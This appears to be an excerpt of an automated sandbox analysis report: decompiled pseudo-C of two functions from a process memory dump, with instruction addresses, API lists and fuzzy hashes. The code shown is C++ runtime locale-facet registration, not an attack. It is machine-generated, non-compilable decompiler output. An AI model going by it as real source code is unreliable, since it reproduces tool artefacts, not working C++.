Instruction ID: 9d515936320b941d598714f015e3cc2c31834eb0b91ffd1c19c5b4e0f3fbe4cd
Opcode Fuzzy Hash: 4bc7748a17087faf90baa822c35de2aba4e76ee606fdce50e0855399620bb9bb
Instruction Fuzzy Hash: 6601AD35D002299BCB06FB65A855ABE7761AF84318F54085FE810AB382DF3CAE01C799

Uniqueness

Uniqueness Score: -1.00%

Function 00499534, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00499534(void* __edi, void* __esi, void* __eflags) {
				signed int _t107;
				void* _t189;
				signed int _t276;
				void* _t301;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				void* _t329;
				void* _t330;

				_t330 = __eflags;
				_push(8);
				L0049D90B(0x4d6966, __edi, __esi);
				L00488DEA(_t329 - 0x14, 0);
				_t312 =  *0x4ede50; // 0x0
				 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
				 *(_t329 - 0x10) = _t312;
				_t107 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede30, __edi, _t312, _t330));
				_t303 = _t107;
				if(_t107 != 0) {
					L5:
					L00488E42(_t329 - 0x14);
					return L0049D8D4(_t303);
				} else {
					if(_t312 == 0) {
						_push( *((intOrPtr*)(_t329 + 8)));
						_push(_t329 - 0x10);
						__eflags = L00499AE3(_t301, _t303, _t312, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t303, _t312);
							L00488DEA(_t329 - 0x14, 0);
							_t313 =  *0x4ede54; // 0x0
							 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
							 *(_t329 - 0x10) = _t313;
							_t304 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede34, _t303, _t313, __eflags));
							__eflags = _t304;
							if(_t304 != 0) {
								L12:
								L00488E42(_t329 - 0x14);
								return L0049D8D4(_t304);
							} else {
								__eflags = _t313;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t329 + 8)));
									_push(_t329 - 0x10);
									__eflags = L00499B85(_t304, _t313, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t304, _t313);
										L00488DEA(_t329 - 0x14, 0);
										_t314 =  *0x4ede58; // 0x0
										 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
										 *(_t329 - 0x10) = _t314;
										_t305 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede38, _t304, _t314, __eflags));
										__eflags = _t305;
										if(_t305 != 0) {
											L19:
											L00488E42(_t329 - 0x14);
											return L0049D8D4(_t305);
										} else {
											__eflags = _t314;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t329 + 8)));
												_push(_t329 - 0x10);
												__eflags = L00499BED(_t305, _t314, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t305, _t314);
													L00488DEA(_t329 - 0x14, 0);
													_t315 =  *0x4ede5c; // 0x0
													 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
													 *(_t329 - 0x10) = _t315;
													_t306 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede3c, _t305, _t315, __eflags));
													__eflags = _t306;
													if(_t306 != 0) {
														L26:
														L00488E42(_t329 - 0x14);
														return L0049D8D4(_t306);
													} else {
														__eflags = _t315;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t329 + 8)));
															_push(_t329 - 0x10);
															__eflags = L00499C55(_t306, _t315, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																L0049D90B(0x4d6966, _t306, _t315);
																L00488DEA(_t329 - 0x14, 0);
																_t316 =  *0x4ede64; // 0x0
																 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																 *(_t329 - 0x10) = _t316;
																_t307 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede44, _t306, _t316, __eflags));
																__eflags = _t307;
																if(_t307 != 0) {
																	L33:
																	L00488E42(_t329 - 0x14);
																	return L0049D8D4(_t307);
																} else {
																	__eflags = _t316;
																	if(__eflags == 0) {
																		_push( *((intOrPtr*)(_t329 + 8)));
																		_push(_t329 - 0x10);
																		__eflags = L00499CBD(_t307, _t316, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			L0049D90B(0x4d6966, _t307, _t316);
																			L00488DEA(_t329 - 0x14, 0);
																			_t317 =  *0x4ede60;
																			 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																			 *(_t329 - 0x10) = _t317;
																			_t308 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede40, _t307, _t317, __eflags));
																			__eflags = _t308;
																			if(_t308 != 0) {
																				L40:
																				L00488E42(_t329 - 0x14);
																				return L0049D8D4(_t308);
																			} else {
																				__eflags = _t317;
																				if(__eflags == 0) {
																					_push( *((intOrPtr*)(_t329 + 8)));
																					_push(_t329 - 0x10);
																					__eflags = L00499D41(_t308, _t317, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						L0049D90B(0x4d6966, _t308, _t317);
																						L00488DEA(_t329 - 0x14, 0);
																						_t318 =  *0x4ede68;
																						 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																						 *(_t329 - 0x10) = _t318;
																						_t309 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede48, _t308, _t318, __eflags));
																						__eflags = _t309;
																						if(_t309 != 0) {
																							L47:
																							L00488E42(_t329 - 0x14);
																							return L0049D8D4(_t309);
																						} else {
																							__eflags = _t318;
																							if(__eflags == 0) {
																								_push( *((intOrPtr*)(_t329 + 8)));
																								_push(_t329 - 0x10);
																								__eflags = L00499DC6(_t309, _t318, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									L0049D90B(0x4d6966, _t309, _t318);
																									L00488DEA(_t329 - 0x14, 0);
																									_t319 =  *0x4ede6c;
																									 *(_t329 - 4) =  *(_t329 - 4) & 0x00000000;
																									 *(_t329 - 0x10) = _t319;
																									_t310 = E0042B315( *((intOrPtr*)(_t329 + 8)), E0042B22E(0x4ede4c, _t309, _t319, __eflags));
																									__eflags = _t310;
																									if(_t310 != 0) {
																										L54:
																										L00488E42(_t329 - 0x14);
																										return L0049D8D4(_t310);
																									} else {
																										__eflags = _t319;
																										if(__eflags == 0) {
																											_push( *((intOrPtr*)(_t329 + 8)));
																											_push(_t329 - 0x10);
																											_t189 = L00499E32(_t310, _t319, __eflags);
																											_pop(_t276);
																											__eflags = _t189 - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(4);
																												L0049D90B(0x4d6989, _t310, _t319);
																												_t320 = _t276;
																												 *(_t329 - 0x10) = _t320;
																												 *((intOrPtr*)(_t320 + 4)) =  *((intOrPtr*)(_t329 + 0xc));
																												_push( *((intOrPtr*)(_t329 + 8)));
																												_t101 = _t329 - 4;
																												 *_t101 =  *(_t329 - 4) & 0x00000000;
																												__eflags =  *_t101;
																												 *_t320 = 0x402f68; // executed
																												E0049AC63(_t276, _t310, _t320,  *_t101); // executed
																												return L0049D8D4(_t320);
																											} else {
																												_t310 =  *(_t329 - 0x10);
																												 *(_t329 - 0x10) = _t310;
																												 *(_t329 - 4) = 1;
																												E0048919D(_t310);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t310 + 4))))();
																												 *0x4ede6c = _t310;
																												goto L54;
																											}
																										} else {
																											_t310 = _t319;
																											goto L54;
																										}
																									}
																								} else {
																									_t309 =  *(_t329 - 0x10);
																									 *(_t329 - 0x10) = _t309;
																									 *(_t329 - 4) = 1;
																									E0048919D(_t309);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t309 + 4))))();
																									 *0x4ede68 = _t309;
																									goto L47;
																								}
																							} else {
																								_t309 = _t318;
																								goto L47;
																							}
																						}
																					} else {
																						_t308 =  *(_t329 - 0x10);
																						 *(_t329 - 0x10) = _t308;
																						 *(_t329 - 4) = 1;
																						E0048919D(_t308);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t308 + 4))))();
																						 *0x4ede60 = _t308;
																						goto L40;
																					}
																				} else {
																					_t308 = _t317;
																					goto L40;
																				}
																			}
																		} else {
																			_t307 =  *(_t329 - 0x10);
																			 *(_t329 - 0x10) = _t307;
																			 *(_t329 - 4) = 1;
																			E0048919D(_t307);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t307 + 4))))();
																			 *0x4ede64 = _t307;
																			goto L33;
																		}
																	} else {
																		_t307 = _t316;
																		goto L33;
																	}
																}
															} else {
																_t306 =  *(_t329 - 0x10);
																 *(_t329 - 0x10) = _t306;
																 *(_t329 - 4) = 1;
																E0048919D(_t306);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t306 + 4))))();
																 *0x4ede5c = _t306;
																goto L26;
															}
														} else {
															_t306 = _t315;
															goto L26;
														}
													}
												} else {
													_t305 =  *(_t329 - 0x10);
													 *(_t329 - 0x10) = _t305;
													 *(_t329 - 4) = 1;
													E0048919D(_t305);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t305 + 4))))();
													 *0x4ede58 = _t305;
													goto L19;
												}
											} else {
												_t305 = _t314;
												goto L19;
											}
										}
									} else {
										_t304 =  *(_t329 - 0x10);
										 *(_t329 - 0x10) = _t304;
										 *(_t329 - 4) = 1;
										E0048919D(_t304);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t304 + 4))))();
										 *0x4ede54 = _t304;
										goto L12;
									}
								} else {
									_t304 = _t313;
									goto L12;
								}
							}
						} else {
							_t303 =  *(_t329 - 0x10);
							 *(_t329 - 0x10) = _t303;
							 *(_t329 - 4) = 1;
							E0048919D(_t303);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t303 + 4))))();
							 *0x4ede50 = _t303;
							goto L5;
						}
					} else {
						_t303 = _t312;
						goto L5;
					}
				}
			}

0x00499534
0x00499534
0x0049953b
0x00499545
0x0049954a
0x00499555
0x00499559
0x00499565
0x0049956a
0x0049956e
0x004995b3
0x004995b6
0x004995c2
0x00499570
0x00499572
0x00499578
0x0049957e
0x00499586
0x00499589
0x004995c3
0x004995c8
0x004995c9
0x004995d0
0x004995da
0x004995df
0x004995ea
0x004995ee
0x004995ff
0x00499601
0x00499603
0x00499648
0x0049964b
0x00499657
0x00499605
0x00499605
0x00499607
0x0049960d
0x00499613
0x0049961b
0x0049961e
0x00499658
0x0049965d
0x0049965e
0x00499665
0x0049966f
0x00499674
0x0049967f
0x00499683
0x00499694
0x00499696
0x00499698
0x004996dd
0x004996e0
0x004996ec
0x0049969a
0x0049969a
0x0049969c
0x004996a2
0x004996a8
0x004996b0
0x004996b3
0x004996ed
0x004996f2
0x004996f3
0x004996fa
0x00499704
0x00499709
0x00499714
0x00499718
0x00499729
0x0049972b
0x0049972d
0x00499772
0x00499775
0x00499781
0x0049972f
0x0049972f
0x00499731
0x00499737
0x0049973d
0x00499745
0x00499748
0x00499782
0x00499787
0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997be
0x004997c0
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6
0x0049974a
0x0049974a
0x0049974d
0x00499751
0x00499755
0x00499762
0x0049976a
0x0049976c
0x00000000
0x0049976c
0x00499733
0x00499733
0x00000000
0x00499733
0x00499731
0x004996b5
0x004996b5
0x004996b8
0x004996bc
0x004996c0
0x004996cd
0x004996d5
0x004996d7
0x00000000
0x004996d7
0x0049969e
0x0049969e
0x00000000
0x0049969e
0x0049969c
0x00499620
0x00499620
0x00499623
0x00499627
0x0049962b
0x00499638
0x00499640
0x00499642
0x00000000
0x00499642
0x00499609
0x00499609
0x00000000
0x00499609
0x00499607
0x0049958b
0x0049958b
0x0049958e
0x00499592
0x00499596
0x004995a3
0x004995ab
0x004995ad
0x00000000
0x004995ad
0x00499574
0x00499574
0x00000000
0x00499574
0x00499572

APIs

__EH_prolog3.LIBCMT ref: 0049953B
std::_Lockit::_Lockit.LIBCPMT ref: 00499545

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

collate.LIBCPMT ref: 0049957F
std::_Facet_Register.LIBCPMT ref: 00499596
std::_Lockit::~_Lockit.LIBCPMT ref: 004995B6
Concurrency::cancel_current_task.LIBCPMT ref: 004995C3

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercollate
String ID:
API String ID: 573010341-0
Opcode ID: f82b6f439aee6047e612ff253070418a7a38260c1059cc480e19e83f1f739492
Instruction ID: 8868ca4e9954f45b68f8ba55d50606d717014da002e3341c1927eaae5c20bcda
Opcode Fuzzy Hash: f82b6f439aee6047e612ff253070418a7a38260c1059cc480e19e83f1f739492
Instruction Fuzzy Hash: A201A132D005159BCF06EB69D8596BE7B61AF80724F55081FE4116B392CF789E01C799

Uniqueness

Uniqueness Score: -1.00%

Function 004995C9, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E004995C9() {
				signed int _t95;
				void* _t166;
				signed int _t243;
				void* _t265;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				void* _t273;
				signed int _t274;
				signed int _t275;
				signed int _t276;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				signed int _t280;
				signed int _t281;
				void* _t289;
				void* _t290;

				_push(8);
				L0049D90B(0x4d6966, _t265, _t273);
				L00488DEA(_t289 - 0x14, 0);
				_t274 =  *0x4ede54; // 0x0
				 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
				 *(_t289 - 0x10) = _t274;
				_t95 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede34, _t265, _t274, _t290));
				_t266 = _t95;
				if(_t95 != 0) {
					L5:
					L00488E42(_t289 - 0x14);
					return L0049D8D4(_t266);
				} else {
					if(_t274 == 0) {
						_push( *((intOrPtr*)(_t289 + 8)));
						_push(_t289 - 0x10);
						__eflags = L00499B85(_t266, _t274, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t266, _t274);
							L00488DEA(_t289 - 0x14, 0);
							_t275 =  *0x4ede58; // 0x0
							 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
							 *(_t289 - 0x10) = _t275;
							_t267 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede38, _t266, _t275, __eflags));
							__eflags = _t267;
							if(_t267 != 0) {
								L12:
								L00488E42(_t289 - 0x14);
								return L0049D8D4(_t267);
							} else {
								__eflags = _t275;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t289 + 8)));
									_push(_t289 - 0x10);
									__eflags = L00499BED(_t267, _t275, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t267, _t275);
										L00488DEA(_t289 - 0x14, 0);
										_t276 =  *0x4ede5c; // 0x0
										 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
										 *(_t289 - 0x10) = _t276;
										_t268 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede3c, _t267, _t276, __eflags));
										__eflags = _t268;
										if(_t268 != 0) {
											L19:
											L00488E42(_t289 - 0x14);
											return L0049D8D4(_t268);
										} else {
											__eflags = _t276;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t289 + 8)));
												_push(_t289 - 0x10);
												__eflags = L00499C55(_t268, _t276, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t268, _t276);
													L00488DEA(_t289 - 0x14, 0);
													_t277 =  *0x4ede64; // 0x0
													 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
													 *(_t289 - 0x10) = _t277;
													_t269 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede44, _t268, _t277, __eflags));
													__eflags = _t269;
													if(_t269 != 0) {
														L26:
														L00488E42(_t289 - 0x14);
														return L0049D8D4(_t269);
													} else {
														__eflags = _t277;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t289 + 8)));
															_push(_t289 - 0x10);
															__eflags = L00499CBD(_t269, _t277, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																L0049D90B(0x4d6966, _t269, _t277);
																L00488DEA(_t289 - 0x14, 0);
																_t278 =  *0x4ede60;
																 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
																 *(_t289 - 0x10) = _t278;
																_t270 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede40, _t269, _t278, __eflags));
																__eflags = _t270;
																if(_t270 != 0) {
																	L33:
																	L00488E42(_t289 - 0x14);
																	return L0049D8D4(_t270);
																} else {
																	__eflags = _t278;
																	if(__eflags == 0) {
																		_push( *((intOrPtr*)(_t289 + 8)));
																		_push(_t289 - 0x10);
																		__eflags = L00499D41(_t270, _t278, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			L0049D90B(0x4d6966, _t270, _t278);
																			L00488DEA(_t289 - 0x14, 0);
																			_t279 =  *0x4ede68;
																			 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
																			 *(_t289 - 0x10) = _t279;
																			_t271 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede48, _t270, _t279, __eflags));
																			__eflags = _t271;
																			if(_t271 != 0) {
																				L40:
																				L00488E42(_t289 - 0x14);
																				return L0049D8D4(_t271);
																			} else {
																				__eflags = _t279;
																				if(__eflags == 0) {
																					_push( *((intOrPtr*)(_t289 + 8)));
																					_push(_t289 - 0x10);
																					__eflags = L00499DC6(_t271, _t279, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						L0049D90B(0x4d6966, _t271, _t279);
																						L00488DEA(_t289 - 0x14, 0);
																						_t280 =  *0x4ede6c;
																						 *(_t289 - 4) =  *(_t289 - 4) & 0x00000000;
																						 *(_t289 - 0x10) = _t280;
																						_t272 = E0042B315( *((intOrPtr*)(_t289 + 8)), E0042B22E(0x4ede4c, _t271, _t280, __eflags));
																						__eflags = _t272;
																						if(_t272 != 0) {
																							L47:
																							L00488E42(_t289 - 0x14);
																							return L0049D8D4(_t272);
																						} else {
																							__eflags = _t280;
																							if(__eflags == 0) {
																								_push( *((intOrPtr*)(_t289 + 8)));
																								_push(_t289 - 0x10);
																								_t166 = L00499E32(_t272, _t280, __eflags);
																								_pop(_t243);
																								__eflags = _t166 - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(4);
																									L0049D90B(0x4d6989, _t272, _t280);
																									_t281 = _t243;
																									 *(_t289 - 0x10) = _t281;
																									 *((intOrPtr*)(_t281 + 4)) =  *((intOrPtr*)(_t289 + 0xc));
																									_push( *((intOrPtr*)(_t289 + 8)));
																									_t89 = _t289 - 4;
																									 *_t89 =  *(_t289 - 4) & 0x00000000;
																									__eflags =  *_t89;
																									 *_t281 = 0x402f68; // executed
																									E0049AC63(_t243, _t272, _t281,  *_t89); // executed
																									return L0049D8D4(_t281);
																								} else {
																									_t272 =  *(_t289 - 0x10);
																									 *(_t289 - 0x10) = _t272;
																									 *(_t289 - 4) = 1;
																									E0048919D(_t272);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t272 + 4))))();
																									 *0x4ede6c = _t272;
																									goto L47;
																								}
																							} else {
																								_t272 = _t280;
																								goto L47;
																							}
																						}
																					} else {
																						_t271 =  *(_t289 - 0x10);
																						 *(_t289 - 0x10) = _t271;
																						 *(_t289 - 4) = 1;
																						E0048919D(_t271);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t271 + 4))))();
																						 *0x4ede68 = _t271;
																						goto L40;
																					}
																				} else {
																					_t271 = _t279;
																					goto L40;
																				}
																			}
																		} else {
																			_t270 =  *(_t289 - 0x10);
																			 *(_t289 - 0x10) = _t270;
																			 *(_t289 - 4) = 1;
																			E0048919D(_t270);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t270 + 4))))();
																			 *0x4ede60 = _t270;
																			goto L33;
																		}
																	} else {
																		_t270 = _t278;
																		goto L33;
																	}
																}
															} else {
																_t269 =  *(_t289 - 0x10);
																 *(_t289 - 0x10) = _t269;
																 *(_t289 - 4) = 1;
																E0048919D(_t269);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t269 + 4))))();
																 *0x4ede64 = _t269;
																goto L26;
															}
														} else {
															_t269 = _t277;
															goto L26;
														}
													}
												} else {
													_t268 =  *(_t289 - 0x10);
													 *(_t289 - 0x10) = _t268;
													 *(_t289 - 4) = 1;
													E0048919D(_t268);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t268 + 4))))();
													 *0x4ede5c = _t268;
													goto L19;
												}
											} else {
												_t268 = _t276;
												goto L19;
											}
										}
									} else {
										_t267 =  *(_t289 - 0x10);
										 *(_t289 - 0x10) = _t267;
										 *(_t289 - 4) = 1;
										E0048919D(_t267);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t267 + 4))))();
										 *0x4ede58 = _t267;
										goto L12;
									}
								} else {
									_t267 = _t275;
									goto L12;
								}
							}
						} else {
							_t266 =  *(_t289 - 0x10);
							 *(_t289 - 0x10) = _t266;
							 *(_t289 - 4) = 1;
							E0048919D(_t266);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t266 + 4))))();
							 *0x4ede54 = _t266;
							goto L5;
						}
					} else {
						_t266 = _t274;
						goto L5;
					}
				}
			}

0x004995c9
0x004995d0
0x004995da
0x004995df
0x004995ea
0x004995ee
0x004995fa
0x004995ff
0x00499603
0x00499648
0x0049964b
0x00499657
0x00499605
0x00499607
0x0049960d
0x00499613
0x0049961b
0x0049961e
0x00499658
0x0049965d
0x0049965e
0x00499665
0x0049966f
0x00499674
0x0049967f
0x00499683
0x00499694
0x00499696
0x00499698
0x004996dd
0x004996e0
0x004996ec
0x0049969a
0x0049969a
0x0049969c
0x004996a2
0x004996a8
0x004996b0
0x004996b3
0x004996ed
0x004996f2
0x004996f3
0x004996fa
0x00499704
0x00499709
0x00499714
0x00499718
0x00499729
0x0049972b
0x0049972d
0x00499772
0x00499775
0x00499781
0x0049972f
0x0049972f
0x00499731
0x00499737
0x0049973d
0x00499745
0x00499748
0x00499782
0x00499787
0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997be
0x004997c0
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6
0x0049974a
0x0049974a
0x0049974d
0x00499751
0x00499755
0x00499762
0x0049976a
0x0049976c
0x00000000
0x0049976c
0x00499733
0x00499733
0x00000000
0x00499733
0x00499731
0x004996b5
0x004996b5
0x004996b8
0x004996bc
0x004996c0
0x004996cd
0x004996d5
0x004996d7
0x00000000
0x004996d7
0x0049969e
0x0049969e
0x00000000
0x0049969e
0x0049969c
0x00499620
0x00499620
0x00499623
0x00499627
0x0049962b
0x00499638
0x00499640
0x00499642
0x00000000
0x00499642
0x00499609
0x00499609
0x00000000
0x00499609
0x00499607

APIs

__EH_prolog3.LIBCMT ref: 004995D0
std::_Lockit::_Lockit.LIBCPMT ref: 004995DA

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

messages.LIBCPMT ref: 00499614
std::_Facet_Register.LIBCPMT ref: 0049962B
std::_Lockit::~_Lockit.LIBCPMT ref: 0049964B
Concurrency::cancel_current_task.LIBCPMT ref: 00499658

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermessages
String ID:
API String ID: 37379925-0
Opcode ID: 581d3b7ff8c192ed1fc2a9a2d958f71696b65fa7f81e5df07151ae66b5f6ecc1
Instruction ID: d8b281b4b2f7af1f1bcc60401041b036efa8871ecac6a29e2b142880d4d86f08
Opcode Fuzzy Hash: 581d3b7ff8c192ed1fc2a9a2d958f71696b65fa7f81e5df07151ae66b5f6ecc1
